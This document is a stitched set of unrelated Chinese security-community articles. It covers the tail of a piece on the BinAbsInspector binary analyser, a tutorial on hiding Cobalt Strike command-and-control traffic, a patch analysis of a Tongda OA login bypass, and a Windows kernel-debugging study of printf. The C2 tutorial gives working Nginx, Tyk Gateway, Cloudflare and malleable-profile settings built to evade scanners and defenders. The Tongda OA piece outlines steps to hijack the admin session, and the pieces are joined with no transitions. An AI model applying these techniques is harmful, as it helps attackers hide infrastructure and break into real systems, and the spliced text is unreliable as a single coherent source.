因为是静态的抽象，那么对于一个程序点的一个抽象变量，它可能会包含多个抽象值，这些抽象值组成了一个集合。虽然这个集合可能会包含无穷多个元素，但是为了保证整个计算过程实践上可收敛，令此集合取一个上限K，这种集合称之为KSet。一旦其中包含的元素超过K，便将其变为一个Top，即包含所有抽象值。此方法与前人重要相关工作
[Jakstab[9] ](http://www.jakstab.org/)
中的KSet较为相似。KSet支持多种算数和逻辑运算。此外每一个KSet对象也会包含一个污点的位图，用来跟踪多个污点的同时传播，从而实现静态污点分析。这样AbsEnv便可以认为是一个从ALoc到KSet的map。
由于BinAbsInspector的分析是上下文敏感的，对于被调用者的上下文 （Context），我们使用最近的call string（call
site）来进行唯一标识。即对于同一个被调用者，不同的调用者会生成不同的Context，一般只记录最近的几个调用者。这样我们便把程序点处的AbsEnv记录在不同的Context中。
除此，对于过程内的不动点计算BinAbsInspector里使用了worklist算法，即把待处理的程序点不断地放入worklist中，直到其空为止。过程间分析主要在于不同的Context之间的转变，这是通过call/return指令的语义实现的。这样通过对整个程序指令的迭代计算值并加以Context的转换，Context及其附属的worklist得到逐一处理，直到所有的worklist计算结束，最后达到不动点。
通过这整个的计算过程，便会得到所有可能的Context以及对应的每个程序点的AbsEnv。这样相当于得到了一个对程序行为可靠的估算，有了这些抽象数据流的信息，我们便可以进行内存破坏漏洞、命令注入漏洞等多种漏洞的检测了。
## 实例演示
下面我们通过一个包含 **Use-After-Free漏洞** 的简单样例来演示BinAbsInepector的运行情况和基本原理。
### 漏洞原理
`CWE416_Use_After_Free__malloc_free_struct_01_bad`函数中首先调用`malloc`函数分配内存用于存放100个`twoIntsStruct`对象—>依次对这部分对象进行初始化操作—>直接释放内存—>释放内存过后再次调用了`printStructLine`函数访问已释放内存中的地址—>造成Use-After-Free漏洞。
void CWE416_Use_After_Free__malloc_free_struct_01_bad()
{
twoIntsStruct * data;
/* Initialize data */
data = NULL;
data = (twoIntsStruct *)malloc(100*sizeof(twoIntsStruct));
if (data == NULL) {exit(-1);}
{
size_t i;
for(i = 0; i < 100; i++)
{
data[i].intOne = 1;
data[i].intTwo = 2;
}
}
/* POTENTIAL FLAW: Free data in the source - the bad sink attempts to use data */
free(data);
/* POTENTIAL FLAW: Use of data that may have been freed */
printStructLine(&data[0]);
/* POTENTIAL INCIDENTAL - Possible memory leak here if data was not freed */
}
int main(int argc, char * argv[])
{
/* seed randomness */
srand( (unsigned)time(NULL) );
printLine("Calling bad()...");
CWE416_Use_After_Free__malloc_free_struct_01_bad();
printLine("Finished bad()");
return 0;
}
### 安装及导入
BinAbsInspector作为Ghidra
Extension的形式进行开发，构建后安装在Ghidra中，支持GUI和Headless模式运行，用户也可以通过项目中提供的Dockerfile构建docker镜像体验功能，具体使用方法见
[仓库README](https://github.com/KeenSecurityLab/BinAbsInspector) 。在此我们以
**GUI模式** 为例介绍使用步骤。
首先将BinAbsInspector安装在Ghidra，我们将编译好的样本程序（armv7）导入Ghidra，待Ghidra的分析完成，便可以运行我们的分析了。这时会弹出工具的分析选项框，将分析过程的配置参数暂时保持默认即可。
### 结果展现
分析显示找到2处CWE告警，在下方命令行中会显示具体告警的地址。
**标记1：** 触发告警的地址，即产生Use-After-Free访问的指令地址；
**标记2：** 上下文调用记录，可以理解为函数的调用栈；
### 分析溯源
双击命令行中的告警地址可以在汇编窗口跳转到对应的指令，另外右边的反编译窗口也将同步展示对应的伪代码，可以看到两条告警的指令都位于“printStructLine”
函数的内部，都是访问已释放内存的LDR指令，结果符合预期。
原理上简而言之，在第6行“malloc”处创建了一个Heap
region，data的抽象值为此Heap及偏移值0，这一信息被加入当前的AbsEnv中并继续向后传播，经过第17行的“free”，data的抽象值数值保持不变，其中的Heap
region变成了一个相同数值但是为无效状态的新region，当前的AbsEnv也会同步更新这一变化并将这一改动向后传播，最后在19行“printStructLine”内部的LDR指令时，通过查询传播到此的AbsEnv，检测到data指向的是一个无效的Heap
region，这样便可以查找出这个Use-After-Free的问题。
## 性能评估
我们选取 [Juliet[10]](https://samate.nist.gov/SRD/testsuite.php)
这一较为权威的测试集，在x86、x64、armv7三个架构上进行测试，并与cwe_checker测试结果进行对照比较。
另外，BinAbsInspector也支持对aarch64架构样本的检测，这是cwe_checker目前不支持的。 下面表格展示的是在CWE415
(Double-Free)， CWE416 (Use-After-Free)，CWE476 (Null Poionter Deference), CWE78
(Command Injection) 4种核心漏洞检测能力与cwe_checker的对比结果。
结果表明，BinAbsInspector的测试结果在所支持的CWE类型上均取得较大幅度优势。
(BAI: BinAbsInspector, CC: cwe_checker, TP: True Positive正阳性, FP: False
Positive假阳性, TN: True Negative正阴性, FN: False Negative假阴性)
图4-x86下-核心检测能力数据对比
图5-x64下-核心检测能力数据对比
图6-armv7下-核心检测能力数据对比
图7-三种架构下核心漏洞检测误报率对比
图8- 三种架构下核心漏洞检测漏报率对比
## 引用
1.<https://www.synopsys.com/software-integrity/security-testing/static-analysis-sast.html>
2.<https://www.grammatech.com/products/source-code-analysis>
3.<https://www.veracode.com/>
4.<https://angr.io/>
5.<https://github.com/BinaryAnalysisPlatform/bap/>
6.<https://github.com/fkie-cad/cwe_checker/>
7.<https://ghidra-sre.org/>
8.[Gogul Balakrishnan and Thomas Reps. 2010.《 WYSINWYX: What you see is not
what you eXecute.》 ACM Trans. Program. Lang. Syst. 32, 6, Article 23 (August
2010), 84 pages
https://dl.acm.org/doi/pdf/10.1145/1749608.1749612](https://dl.acm.org/doi/pdf/10.1145/1749608.1749612)
9.<http://www.jakstab.org/>
10.<https://samate.nist.gov/SRD/testsuite.php>
11.<https://www.binaryai.net/>
* * * | 社区文章 |
> 本文首发于[先知社区](https://xz.aliyun.com/ "先知社区")，未经允许禁止转载
## 0x01 前言
Cobalt
Strike的特征已经被各大安全厂商标记烂了，加上搜索引擎、空间测绘的扫描，在配置C2域名后，如果不做好基础设施的隐匿，很快会出现下图的情况。（图片截取自某情报社区）
隐藏C2的手法有很多，比如早些时候的域前置和最近热门的利用云函数隐藏。但是如今许多CDN厂商都已经禁用了域前置技术，而云函数是有免费额度的，超过之后会开始计费，许多蓝队反制帖子已经开始分享消耗云函数额度的方法了。
最近看到一篇利用Tyk Gateway API隐藏C2流量的文章，通过配置Tyk Gateway
API转发恶意流量，以达到类似于域前置，或者腾讯云函数隐藏C2的效果。
在这个基础上，通过将域名托管到CloudFlare，配置Nginx过滤不符合规则的请求，并通过配置CloudFlare防火墙只允许Tyk Gateway
API的流量访问C2域名，可以达到隐藏C2域名，并且防止搜索引擎、空间测绘扫描和识别Cobalt Strike特征导致域名或IP被标记。
本文基于已经将域名托管到CloudFlare并配置SSL证书的情况，如果你不知道如何使用CloudFlare和配置SSL证书，请自行搜索相关资料。
## 0x02 配置Nginx
将域名托管到CloudFlare后，可以配置Nginx反向代理来过滤部分请求，只让信标流量转发进服务器。
### 自定义Nginx配置文件
Nginx的配置文件还是有点复杂的，可以使用[cs2modrewrite](https://github.com/threatexpress/cs2modrewrite)进行生成，然后根据需求进行修改。
这里以使用[jquery-c2.4.5.profile](https://github.com/threatexpress/malleable-c2/blob/master/jquery-c2.4.5.profile)作为C2配置文件的情况示例：
python3 ./cs2nginx.py -i jquery-c2.4.5.profile -c https://127.0.0.1:8443 -r http://www.baidu.com/ -H yourc2.domain > ./nginx.conf
* -i：指定C2配置文件
* -c：指定内部的监听端口
* -r：指定302跳转的地址
* -H：指定你的域名
通过该工具生成的Nginx配置文件的`server`块的部分配置如下：
server {
set $C2_SERVER https://127.0.0.1:8443;
set $REDIRECT_DOMAIN http://www.baidu.com/;
server_name yourc2.domain;
......
listen 80;
listen [::]:80;
listen 443 ssl;
listen [::]:443 ssl;
......
location ~ ^(/jquery-3.3.2.slim.min.js.*|/jquery-3.3.1.min.js.*|/jquery-3.3.1.slim.min.js.*|/jquery-3.3.2.min.js.*)$ {if ( $http_user_agent != "Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko")
{
return 404;
}
proxy_pass $C2_SERVER;
......
}
location @redirect {
return 302 $REDIRECT_DOMAIN$request_uri;
}
}
使用Nginx加载该配置文件后。Nginx将监听外部的80、443端口，并将符合规则的请求转发到内部的8443端口，不符合规则的请求将跳转到`http://www.baidu.com/`。
### 效果
此时通过对服务器IP地址的扫描就无法获取到我们的beacon stage了。
## 0x03 配置Tyk Gateway API
### 注册账户
访问[注册地址](https://account.cloud-ara.tyk.io/signup)，填写用户名、邮箱、密码等信息后点击注册，注册成功后选择免费版。
然后设置组织名称，设置好后会提示`Deployment successful`。
### 创建并配置API
点击`Manage APIs`后会看到如下页面：
接下来逐一创建并配置http-get API、http-post API、Stager-x86 API、Stager-x64 API。以下以http-get
API为例。
假设你的域名为`cslabtest.live`，且C2配置文件如下：
http-get {
set uri "/api/v2/login";
....
}
http-post {
set uri "/api/v2/status";
....
}
http-stager {
set uri_x86 "/api/v2/GetProfilePicture";
set uri_x64 "/api/v2/GetAttachment";
}
点击`Design new API`并填写API信息。
创建好后进一步配置API，来让它能够将请求转发到我们的C2服务器。
现在我们需要更改`Listen path`和`Target URL`，TYK会监听`Listen path`的地址，并将请求转发到`Target URL`。
（注：若C2配置文件为jquery-c2.4.5.profile，则将`Listen path`和`Target
URL`的路径配置为相对应的`.js`的路径）
为了能够上线CS，还要配置`Rate Limiting and Quotas`。都选择disable即可。
然后来到`Advanced Options`，取消勾选`Enable caching`。
按这个步骤逐一新建http-get API、http-post API、Stager-x86 API、Stager-x64 API。
### 设置访问验证策略
将上一步新建的API的`Authentication`更改为`Basic Authentication`，如下所示：
然后来到`Policies`新建策略，选择你新建的四个API。
然后点击`Global Limits and Quota`，确认禁用`Rate Limiting`。
接着配置策略名称并设置密钥过期时间。
点击`Create Policy`以保存新策略，之后可以在`Policies`看到它：
### 配置访问验证Key
来到`Keys`，点击`ADD KEY`，然后在`Apply policy`选择我们之前创建的策略，并选择API。
最后来到`Authentication`输入需要设置的用户名、密码，这里使用`test:testtesttest`作为用户名、密码。
`Key`创建成功后会有如下提示：
### 配置C2配置文件
由于上一步我们设置了访问验证，所以要在C2配置文件中添加一个请求头才能正常上线CS。
`Authorization`的请求头设置格式如下：
Authorization: Basic base64(username:password)
所以按上一步添加的`Key`，我们要在C2配置文件中添加如下请求头：
Authorization: Basic dGVzdDp0ZXN0dGVzdHRlc3Q=
最终配置文件如下：
http-get {
set uri "/api/v2/login";
client {
header "Authorization" "Basic dGVzdDp0ZXN0dGVzdHRlc3Q=";
}
....
}
http-post {
set uri "/api/v2/status";
client {
header "Authorization" "Basic dGVzdDp0ZXN0dGVzdHRlc3Q=";
}
....
}
http-stager {
set uri_x86 "/api/v2/GetProfilePicture";
set uri_x64 "/api/v2/GetAttachment";
client {
header "Authorization" "Basic dGVzdDp0ZXN0dGVzdHRlc3Q=";
}
....
}
### 效果
此时直接访问我们设置的API的地址都是需要验证的，而CS是可以正常上线的。
## 0x04 配置CloudFlare防火墙
### 获得tyk.io特征
在CF的`WAF`中创建一条防火墙规则，如下：
然后生成一个木马尝试上线CS，这时肯定是无法上线的，来到CF的概述中可以看到所有拦截记录，点击单条拦截记录查看详细。
这里有很多的特征可以加到`WAF`拦截规则中，来实现只有`Tyk Gateway API`转发过来的流量才能允许访问，其他的流量都会阻止。
### 编辑防火墙规则
这里我以`ASN`为例子，配置如下：
保存防火墙规则即可。
## 0x05 最终效果
对服务器的扫描，无法获取到我们的beacon stage。
直接访问设置的Tyk Gateway API的地址是需要验证的。
直接访问我们的C2域名会被CloudFlare拦截。
CS创建监听器，如下：
CS生成木马，可以正常上线和执行命令。
## 0x05 问题
* 由于流量经过多次转发，上线可能会有延迟。
* 通过配置Tyk Gateway API的域名，使用HTTPS的方式上线，流量中会出现`*.tyk.io`的DNS流量记录，算是一个比较明显的特征。
## 0x06 参考
* [Oh my API, abusing TYK cloud API management to hide your malicious C2 traffic](https://shells.systems/oh-my-api-abusing-tyk-cloud-api-management-service-to-hide-your-malicious-c2-traffic/)
* [cobaltstrike配置nginx反向代理](https://www.freebuf.com/articles/others-articles/247115.html)
* [cs2modrewrite](https://github.com/threatexpress/cs2modrewrite) | 社区文章 |
**前言**
4月20日，阿里云漏洞预警，通达OA任意用户登录漏洞，链接如下：<https://help.aliyun.com/noticelist/articleid/1060277736.html>
**准备**
* 某盘下载的TDOA11.0.exe
* 文件对比工具（DiffMerge等）
* zend解密小工具
**部署**
1.直接安装TDOA11.0.exe，版本号为11.0.190911
2.打开“通达应用服务控制中心”启动服务，测试web是否能正常访问
3.使用OfficeAuto更新程序到11.4.200323 ，备份webroot文件夹
4.更新到11.4.200417，拷贝webroot
5.原始的webroot中文件使用zend加密压缩，此处需要使用zend解密工具批量解密为正常的PHP文件
**补丁对比**
1.对比更新前后的webroot文件
2.如图更新对$UID进行初始化，并判断是否为0
由此可见UID是个关键参数，筛选文件对比结果，很清晰判断出更新补丁中哪些文件有相关逻辑
**代码分析**
重点对更新文件进行分析，使用编辑器导入web项目，分析版本11.4的代码逻辑。
一、Logincheck_code
$UID有POST请求参数获取，访问该URL共需两个参数：UID & CODEUID；
继续向下分析，中间的判断过程，仅对用户登陆安全登陆限制进行了判断，在如下位置后，直接存入对应UID的SESSION。
二、跟踪判断如何构造CODEUID参数
更新文件中，login_code去掉了一些方法，从内容看出如果login_codeuid为空，访问该php时，会有getUniqid()返回CODEUID。
三，构造Logincheck_code访问，获取登陆cookie
1.获取code_uid
2.构造POST请求，获取cookie，默认情况下，UID=1是admin账号，为系统管理员。
1. 使用Cookie访问系统
**修复建议**
1.未更新补丁前，备份logincheck_code.php，将该文件移除webroot目录；或使用WAF等安全产品，禁止logincheck_code.php访问
2.更新官方补丁
**总结**
1.需要验证历史版本的从11.0更新时，可以逐步版本更新，备份webroot文件夹，验证对应版本是，更换webroot即可
2.第一次尝试对比补丁去验证漏洞，对于更新点比较少的应用，可以很快定位
3.登陆验证类功能点，只做状态判断，尽量不要附带其他功能 | 社区文章 |
# Windows下printf多进程架构及内核态—用户态多级调试分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0、主要内容
全文围绕着微软底层是如何实现printf的这个宗旨，从应用程序开始着手分析，一直到内核层，进行双机调试，顺藤摸瓜，追寻数据的流向，又从内核回到用户态程序，接着又依据内核态调试时获知的信息，对用户态另一个进程进行分析，抓出了一系列的信息，使得这个问题越来越清楚，完完全全将printf的实现过程大白于天下。
涉及到的内容如下：
1、内核对象及内核对象管理；
2、设备驱动程序及驱动程序对象；
3、MDL；
4、用户态程序与内核驱动通信DeviceIoControl；
5、Windbg调试；
6、C运行时库代码分析；
## 1、背景
作为程序员，printf这个函数肯定是不陌生的，刚学C语言那会，第一个程序基本也都是经典的printf(“hello
world\n”)吧，一用十几年了，但重来都没有深究过背后的实现原理，只知道他是C语言标准库规定的，用起来很爽。最近几天恰好得闲，于是花了点时间把这个问题给搞清楚了；整个过程非常有意思，本以为简单分析下微软随IDE一起公布的C运行时库代码就能搞清楚的，可越分析越发现仅仅依靠这点源码压根解不开谜团，或者说，C运行时库关于printf的部分仅仅只有一个核心的API，遂搭建双机调试，进行内核分析；
## 2、分析过程之源码部分分析
### 2.1实例代码如下，很简单；IDE是VS2017；这部分源码较多，大家耐心看完
#include <stdio.h>
#include <Windows.h>
int _tmain(int argc, _TCHAR* argv[])
{
while(1)
{
printf("hello world\n");
Sleep(500);
}
return 0;
}
每隔500ms就打印一下字符串“hello
world\n”；下边来跟一下VC运行时库的源码；源码步骤比较繁琐，如果不感兴趣可直接略过，看后边的结论；总结起来就是一句话printf——->WriteFile();
### 2.2源码分析
经过千山万水，终于看到曙光了，总结起来就是一句话printf——->WriteFile();源码面前，了无密码，
**现在最关心的是这个WriteFile()写入的文件到底是个什么神仙文件？**
## 3、分析部分之内核调试分析——写
根据最后一幅图的os_handle这个数据可知，句柄值为0x0C，现在来看下这个句柄到底是个啥。借助Procexp.exe工具，如下：
光看这名字就不想普通的文件，如果是普通的文件的话，应该是有磁盘路径的，这显然是内核驱动创建的一个设备对象，那这玩意到底是啥呢？这才是今天的重点，且往下看；这时我们需要双机调试了，这玩意在内核里；把这程序拷贝到虚拟机，运行，然后用Windbg查数据；
查看下该对象的具体信息，如下所示：
1: kd> !object 0xFFFFCC8BDCEA4EF0
Object: ffffcc8bdcea4ef0 Type: (ffffcc8bd88cdb20) File
ObjectHeader: ffffcc8bdcea4ec0 (new version)
HandleCount: 2 PointerCount: 64696
Directory Object: 00000000 Name: \Output {ConDrv}
1: kd> dt _OBJECT_HEADER ffffcc8bdcea4ec0
nt!_OBJECT_HEADER
+0x000 PointerCount : 0n64696
+0x008 HandleCount : 0n2
+0x008 NextToFree : 0x00000000`00000002 Void
+0x010 Lock : _EX_PUSH_LOCK
+0x018 TypeIndex : 0x50 'P'
+0x019 TraceFlags : 0 ''
+0x019 DbgRefTrace : 0y0
+0x019 DbgTracePermanent : 0y0
+0x01a InfoMask : 0x4c 'L'
+0x01b Flags : 0 ''
+0x01b NewObject : 0y0
+0x01b KernelObject : 0y0
+0x01b KernelOnlyAccess : 0y0
+0x01b ExclusiveObject : 0y0
+0x01b PermanentObject : 0y0
+0x01b DefaultSecurityQuota : 0y0
+0x01b SingleHandleEntry : 0y0
+0x01b DeletedInline : 0y0
+0x01c Reserved : 0xffffb68d
+0x020 ObjectCreateInfo : 0xffffcc8b`db7aed80 _OBJECT_CREATE_INFORMATION
+0x020 QuotaBlockCharged : 0xffffcc8b`db7aed80 Void
+0x028 SecurityDescriptor : (null)
+0x030 Body : _QUAD
里边的很多字段暂时不用管，后边会专门撰文写Windows内核里对象管理的实现原理，但有一个信息是值得我们关注的，就是这个对象的类型是File，即文件；简单说明下，在Windows内核里，对象都是有类型的，就像应用层一样，每个对象都有其所对应的类类型，进程的对象类型为Process，线程的对象类型为Thread，等等，自然的文件对象的类型即为File了；那下边具体看下这个文件有什么特别的，且看下边的操作：
1: kd> dt _FILE_OBJECT ffffcc8bdcea4ef0
nt!_FILE_OBJECT
+0x000 Type : 0n5
+0x002 Size : 0n216
+0x008 DeviceObject : 0xffffcc8b`dbee7b20 _DEVICE_OBJECT
+0x010 Vpb : (null)
+0x018 FsContext : 0xffffb68d`59de5b30 Void
+0x020 FsContext2 : 0xffffcc8b`dacca230 Void
+0x028 SectionObjectPointer : (null)
+0x030 PrivateCacheMap : (null)
+0x038 FinalStatus : 0n0
+0x040 RelatedFileObject : 0xffffcc8b`dd122550 _FILE_OBJECT
+0x048 LockOperation : 0 ''
+0x049 DeletePending : 0 ''
+0x04a ReadAccess : 0 ''
+0x04b WriteAccess : 0 ''
+0x04c DeleteAccess : 0 ''
+0x04d SharedRead : 0 ''
+0x04e SharedWrite : 0 ''
+0x04f SharedDelete : 0 ''
+0x050 Flags : 0x10040002
+0x058 FileName : _UNICODE_STRING "\Output"
+0x068 CurrentByteOffset : _LARGE_INTEGER 0x0
+0x070 Waiters : 0
+0x074 Busy : 0
+0x078 LastLock : (null)
+0x080 Lock : _KEVENT
+0x098 Event : _KEVENT
+0x0b0 CompletionContext : (null)
+0x0b8 IrpListLock : 0
+0x0c0 IrpList : _LIST_ENTRY [ 0xffffcc8b`dcea4fb0 - 0xffffcc8b`dcea4fb0 ]
+0x0d0 FileObjectExtension : (null)
确实挺特殊的，绝大部分字段都没有数据；但与该文件相关联的设备对象值得我们去探究下，如下：
1: kd> dt 0xffffcc8b`dbee7b20 _DEVICE_OBJECT
nt!_DEVICE_OBJECT
+0x000 Type : 0n3
+0x002 Size : 0x150
+0x004 ReferenceCount : 0n10
+0x008 DriverObject : 0xffffcc8b`dc4fa200 _DRIVER_OBJECT
+0x010 NextDevice : (null)
+0x018 AttachedDevice : (null)
+0x020 CurrentIrp : (null)
+0x028 Timer : (null)
+0x030 Flags : 0x50
+0x034 Characteristics : 0x20000
+0x038 Vpb : (null)
+0x040 DeviceExtension : (null)
+0x048 DeviceType : 0x50
+0x04c StackSize : 2 ''
+0x050 Queue : <unnamed-tag>
+0x098 AlignmentRequirement : 0
+0x0a0 DeviceQueue : _KDEVICE_QUEUE
+0x0c8 Dpc : _KDPC
+0x108 ActiveThreadCount : 0
+0x110 SecurityDescriptor : 0xffffb68d`575f0380 Void
+0x118 DeviceLock : _KEVENT
+0x130 SectorSize : 0
+0x132 Spare1 : 0
+0x138 DeviceObjectExtension : 0xffffcc8b`dbee7c70 _DEVOBJ_EXTENSION
+0x140 Reserved : (null)
设备对象在Windows内核里即可以表征一个实实在在的硬件设备，也可以是虚拟出来的一个假的设备，这就是Windows内核分层设计的妙处所在，好了设备仅仅是指代硬件，而该硬件具有哪些功能，则是由其关联的驱动对象所表征的，下边我们再看下其关联的驱动对象：
1: kd> dt 0xffffcc8b`dc4fa200 _DRIVER_OBJECT
nt!_DRIVER_OBJECT
+0x000 Type : 0n4
+0x002 Size : 0n336
+0x008 DeviceObject : 0xffffcc8b`dbee7b20 _DEVICE_OBJECT
+0x010 Flags : 0x12
+0x018 DriverStart : 0xfffff802`14530000 Void
+0x020 DriverSize : 0x12000
+0x028 DriverSection : 0xffffcc8b`dc472cf0 Void
+0x030 DriverExtension : 0xffffcc8b`dc4fa350 _DRIVER_EXTENSION
+0x038 DriverName : _UNICODE_STRING "\Driver\condrv"
+0x048 HardwareDatabase : 0xfffff802`151f4e38 _UNICODE_STRING "\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\SYSTEM"
+0x050 FastIoDispatch : 0xfffff802`14534020 _FAST_IO_DISPATCH
+0x058 DriverInit : 0xfffff802`1453e010 long +fffff8021453e010
+0x060 DriverStartIo : (null)
+0x068 DriverUnload : 0xfffff802`1453c8e0 void +fffff8021453c8e0
+0x070 MajorFunction : [28] 0xfffff802`14537e10 long +fffff80214537e10
该驱动对象的名字叫”\Driver\condrv”，跟之前的设备对象的名字还挺呼应的；对于驱动对象来说，最重要的要说MajorFunction数组里放着的那些个例程了；我们来看下这些历程中比较重要的一个
回调例程的函数原型如下：
typedef NTSTATUS DRIVER_DISPATCH (__in struct _DEVICE_OBJECT *DeviceObject, __inout struct _IRP *Irp);
下一个断点看看，命中之后能获取哪些有用的信息；
1: kd> bp 0xfffff802145382a0
1: kd> g
1: kd> k
# Child-SP RetAddr Call Site
00 ffffcb80`4ec07808 fffff802`14a428d9 0xfffff802`145382a0
01 ffffcb80`4ec07810 fffff802`14ed755e nt!IofCallDriver+0x59
02 ffffcb80`4ec07850 fffff802`14ed8ca0 nt!IopSynchronousServiceTail+0x19e
03 ffffcb80`4ec07900 fffff802`14b79553 nt!NtWriteFile+0x8b0
04 ffffcb80`4ec07a10 00000000`6e5e1e5c nt!KiSystemServiceCopyEnd+0x13
05 00000000`00aeead8 00000000`6e5e1b3a 0x6e5e1e5c
06 00000000`00aeeae0 00000023`774de7bc 0x6e5e1b3a
07 00000000`00aeeae8 00000000`6e580023 0x00000023`774de7bc
08 00000000`00aeeaf0 00000000`00000000 0x6e580023
断下来了，也确实看到nt!NtWriteFile了，但这个是内核态的并不是用户态的，我这里pdb路径没有设，设置正确的话，栈是完美的，不过这不影响我们的分析过程；要想直接看nt!NtWriteFile的参数比较麻烦，因为x64架构下的内核是通过寄存器传递参数的，这样需要手动去分析参数，比较麻烦，不过没关系，数据还在，回头看下回调函数的例程原型，第二个参数为IRP*，这个里边有我们想要的东西；来看下：
1: kd> !irp ffffcc8bdc6addc0
Irp is active with 2 stacks 2 is current (= 0xffffcc8bdc6aded8)
Mdl=ffffcc8bdd351330: No System Buffer: Thread ffffcc8bd9c4f2c0: Irp stack trace.
cmd flg cl Device File Completion-Context
[N/A(0), N/A(0)]
0 0 00000000 00000000 00000000-00000000
Args: 00000000 00000000 00000000 00000000
>[IRP_MJ_WRITE(4), N/A(0)]
0 0 ffffcc8bdbee7b20 ffffcc8bdcea4ef0 00000000-00000000
\Driver\condrv
Args: 0000000d 00000000 00000000 00000000
重点关注其中的Mdl=ffffcc8bdd351330这行，来继续追踪下数据，这里稍微拓展下，MDL的全称是Memory Descriptor
List，即内存 描述链表，是内核里常用来维护缓冲区内存用的一种结构，是个单项链表，借此我们正好来看下数据：
1: kd> dt _mdl ffffcc8bdd351330
nt!_MDL
+0x000 Next : (null)
+0x008 Size : 0n56
+0x00a MdlFlags : 0n266
+0x00c AllocationProcessorNumber : 1
+0x00e Reserved : 0
+0x010 Process : 0xffffcc8b`dacf9200 _EPROCESS
+0x018 MappedSystemVa : 0xffff9401`ce12f940 Void
+0x020 StartVa : 0x00000000`00bee000 Void
+0x028 ByteCount : 0xd
+0x02c ByteOffset : 0x3a4
各个字段的解释如下：
Next： 指向下一个MDL结构，从而构成链表，有时一个IRP会包含多个MDL；
Size： MDL本身的大小，注意包含了定长部分和变长两部分的size；
MdlFlags：属性标记，如所描述的物理页有没有被lock住等；
Process： 顾名思义，指向该包含该虚拟地址的地址空间的对应进程结构；
MappedSystemVa：内核态空间中的对应地址；
StartVa： 用户或者内核地址空间中的虚拟地址，取决于在哪allocate的，该值是页对齐的；
ByteCount：MDL所描述的虚拟地址段的大小，byte为单位；
ByteOffset：起始地址的页内偏移，因为MDL所描述的地址段不一定是页对齐的；
MdlFlags标志取值如下图，而这里的取值是0n266=0x10a；
参照下图可知，内核虚拟地址空间还没有分配，没关系，先看下用户态的数据是啥，先弥补下前边查看nt!NtWriteFile不方便而导致的没能查看数据的不快；
1: kd> db 0x00000000`00bee000+0x3a4 ld
00000000`00bee3a4 68 65 6c 6c 6f 20 77 6f-72 6c 64 0d 0a hello world..
正好是我们printf输出的字符串，“hello
world\n”,到目前为止一切还在掌控中；那内核总会不一直不分配内核空间吧，因为只要进程切换了，CR3就换了，页表就换了，用户态的数据就有可能访问不到了，所以下一步我们就看下内核合适给MDL.MappedSystemVa
字段挂上数据；指向合适的内核内存空间；方法如下：
1: kd> ba r8 ffffcc8bdd351330+18
1: kd> g
Breakpoint 1 hit
nt!MmMapLockedPagesSpecifyCache+0x16a:
fffff802`14a58fea 83e601 and esi,1
1: kd> dt _mdl ffffcc8bdd351330
nt!_MDL
+0x000 Next : (null)
+0x008 Size : 0n56
+0x00a MdlFlags : 0n267
+0x00c AllocationProcessorNumber : 1
+0x00e Reserved : 0
+0x010 Process : 0xffffcc8b`dacf9200 _EPROCESS
+0x018 MappedSystemVa : 0xffff9401`cea433a4 Void
+0x020 StartVa : 0x00000000`00bee000 Void
+0x028 ByteCount : 0xd
+0x02c ByteOffset : 0x3a4
数据设置好了，除了MappedSystemVa 字段被安排了合适的值，MdlFlags
字段也发生了改变；即多了项MDL_MAPPED_TO_SYSTEM_VA；赶紧来看下数据对不对：
1: kd> db 0xffff9401`cea433a4
ffff9401`cea433a4 68 65 6c 6c 6f 20 77 6f-72 6c 64 0d 0a ea be 00 hello world.....
ffff9401`cea433b4 c0 ea be 00 50 00 00 00-d4 e3 be 00 cc 30 11 03 ....P........0..
顺便提一下，大家看下下图，最后一级的pfn居然一样，奇不奇怪？一点都不奇怪，本来就是两个虚拟地址映射到同一份物理页：
OK了，到目前为止，我们知道了printf———>WriteFile——->NtWriteFile———>DriverObject.Write例程；下边我们需要知道，谁来读取这个数据呢？
## 4、分析部分之内核调试分析——读
接着上边的，在MappedSystemVa所指向的虚拟内存地址设置一个访问断点，看看谁来处理该数据的，如下：
1: kd> ba r4 0xffff9401`cea433a4
1: kd> g
Breakpoint 2 hit
fffff802`14531424 48ffc9 dec rcx
1: kd> kb
# RetAddr : Args to Child : Call Site
00 fffff802`1453991d : 00000000`00000000 fffff802`14aac8e9 ffffcc8b`00000000 ffffcb80`4ec076f8 : 0xfffff802`14531424
01 00000000`00000000 : fffff802`14aac8e9 ffffcc8b`00000000 ffffcb80`4ec076f8 ffffb68d`6aa157c0 : 0xfffff802`1453991d
栈不完美，没关系，我们来看看当前的进程是哪个。要查看当前的进程是哪个，方法有很多，下边就给出两种方法，看官自取：
方法1：
1: kd> dt _EPROCESS @$proc -yn ImageF
nt!_EPROCESS
+0x448 ImageFilePointer : 0xffffcc8b`dea4ad10 _FILE_OBJECT
+0x450 ImageFileName : [15] "work.exe"
方法2：
1: kd> !pcr
KPCR for Processor 1 at ffff9401cdcc0000:
Major 1 Minor 1
NtTib.ExceptionList: ffff9401cdcd0fb0
NtTib.StackBase: ffff9401cdccf000
NtTib.StackLimit: 0000000000aeead8
NtTib.SubSystemTib: ffff9401cdcc0000
NtTib.Version: 00000000cdcc0180
NtTib.UserPointer: ffff9401cdcc0870
NtTib.SelfTib: 0000000000cac000
SelfPcr: 0000000000000000
Prcb: ffff9401cdcc0180
Irql: 0000000000000000
IRR: 0000000000000000
IDR: 0000000000000000
InterruptMode: 0000000000000000
IDT: 0000000000000000
GDT: 0000000000000000
TSS: 0000000000000000
CurrentThread: ffffcc8bd9c4f2c0
NextThread: ffffcc8bdb76d380
IdleThread: ffff9401cdcccb40
DpcQueue: Unable to read nt!_KDPC_DATA.DpcListHead.Flink @ ffff9401cdcc2f80
1: kd> !thread ffffcc8bd9c4f2c0
THREAD ffffcc8bd9c4f2c0 Cid 2744.1ea8 Teb: 0000000000cac000 Win32Thread: 0000000000000000 RUNNING on processor 1
IRP List:
ffffcc8bdc6addc0: (0006,0238) Flags: 00060a00 Mdl: ffffcc8bdd351330
Not impersonating
DeviceMap ffffb68d596246e0
Owning Process ffffcc8bdacf9200 Image: work.exe
Attached Process N/A Image: N/A
Wait Start TickCount 146715 Ticks: 3 (0:00:00:00.046)
Context Switch Count 1518 IdealProcessor: 1
UserTime 00:00:00.046
KernelTime 00:00:00.640
Win32 Start Address work!ILT+110(_wmainCRTStartup) (0x0000000000841073)
Stack Init ffffcb804ec07c10 Current ffffcb804ec069a0
Base ffffcb804ec08000 Limit ffffcb804ec01000 Call 0000000000000000
